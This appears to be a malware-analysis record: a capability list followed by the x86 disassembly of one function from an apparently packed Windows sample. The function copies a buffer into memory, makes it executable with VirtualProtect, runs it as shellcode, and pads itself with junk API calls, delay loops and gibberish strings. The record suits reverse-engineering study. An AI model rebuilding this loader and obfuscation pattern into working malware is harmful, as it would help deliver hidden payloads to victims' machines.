Function at 0x40af10
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set console window title
Set current directory
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40b3bb
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1064
call fcn.0040a960
mov eax, dword [0x435030]
xor eax, esp
mov dword [esp + 0x1060], eax
push ebx
push esi
push edi
mov eax, dword [0x435030]
xor eax, esp
push eax
lea eax, [esp + 0x1078]
mov dword fs:[0], eax
mov ecx, dword [0x833c84]
cmp ecx, 0x7c
jne 0x40afec
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.USER32.dll_CopyRect]
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push ebx
push ebx
lea edx, [esp + 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
lea edx, [esp + 0x870]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [0x833c84]
cmp ecx, 0x2d
jne 0x40afee
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov ecx, dword [0x833c84]
jmp 0x40afee
xor ebx, ebx
mov edx, dword [0x4360dc]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
mov edi, edi
cmp eax, 0x1c3
jne 0x40b00d
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40b021
mov dword [0x436d58], edi
mov dword [0x436d5c], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40b000
mov dword [0x833c84], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x40b043
mov eax, dword [0x435f68]
mov dword [0x833c88], eax
cmp ecx, 0x3c
jne 0x40b059
push str.pahimikuya
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov ecx, dword [0x833c84]
inc esi
cmp esi, 0x5f6c74
jl 0x40b031
cmp ecx, 0x110a
jne 0x40b198
push ebx
mov dword [0x833b50], ebx
mov dword [0x833b54], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push str.hebadifarayadavevumagorujig_zuwuloguguxucado_hoyetazuxuvuzobi_banopehobewuvehofusedababot_vayawamaguwixexekubavuwoloje
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [esp + 0x50]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
call fcn.00401189
push ebx
push ebx
call fcn.00401189
push 0x30
push 0x4337d8
push str._s__c
push 0x436cd0
call fcn.00401307
push 4
call fcn.00401443
add esp, 0x24
cmp eax, ebx
je 0x40b0fe
lea ecx, [esp + 0x20]
mov dword [eax], ecx
jmp 0x40b100
xor eax, eax
mov dword [esp + 0x20], eax
push ebx
push ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
call fcn.00401189
push 0x4337d8
push 0x436cd0
call fcn.00401307
push ebx
call fcn.004012f0
mov eax, dword [esp + 0x40]
add esp, 0x14
cmp eax, ebx
je 0x40b179
mov edi, dword [esp + 0x30]
cmp eax, edi
je 0x40b170
lea esi, [eax + 0x18]
cmp dword [esi], 8
jb 0x40b153
mov edx, dword [esi - 0x14]
push edx
call fcn.004013cc
add esp, 4
xor eax, eax
mov dword [esi], 7
mov dword [esi - 4], ebx
mov word [esi - 0x14], ax
add esi, 0x1c
lea ecx, [esi - 0x18]
cmp ecx, edi
jne 0x40b142
mov eax, dword [esp + 0x2c]
push eax
call fcn.004013cc
add esp, 4
mov edx, dword [esp + 0x20]
push edx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.004013cc
mov ecx, dword [0x833c84]
add esp, 4
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor esi, esi
mov dword [0x8339a8], eax
cmp dword [0x833c84], ebx
jbe 0x40b204
mov edi, dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
jmp 0x40b1c0
mov eax, dword [0x833c88]
mov dword [esp + 0x14], eax
mov eax, 0xa231
add dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
mov dl, byte [ecx + esi]
mov eax, dword [0x8339a8]
mov byte [eax + esi], dl
cmp dword [0x833c84], 0x5ab
jne 0x40b1fb
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.gegubanaxuha
call edi
inc esi
cmp esi, dword [0x833c84]
jb 0x40b1c0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x833c84]
mov eax, dword [0x8339a8]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040ae80
mov ecx, dword [0x8339a8]
xor eax, eax
cmp eax, 0xbd9cb
jne 0x40b243
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40b236
mov edi, dword [esp + 0x28]
mov dword [0x8339a8], ecx
xor esi, esi
jmp 0x40b260
lea ecx, [esp + 0x86c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
cmp esi, 0x1a01e
jle 0x40b27e
cmp edi, 0xf5bed7
jne 0x40b287
inc esi
cmp esi, 0x1ece7a52
jl 0x40b260
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov dword [esp + 0x14], 0x1e4165
mov ebx, 0x8e46a6f0
cmp dword [0x833c84], 0xcc1
jne 0x40b2bc
push 0
push 0
push str.nisexuvisolatepetovudaduda
push str.xapicajam_cirosewelu_judabeyigob_waxizipon
call esi
cmp dword [0x833c84], 0x7c4
mov dword [0x8339ac], ebx
jne 0x40b2d4
push 0
push 0
call edi
sub dword [esp + 0x14], 1
jne 0x40b2a0
mov ecx, dword [esp + 0x1078]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1060]
xor ecx, esp
call fcn.00401069
mov esp, ebp
pop ebp
ret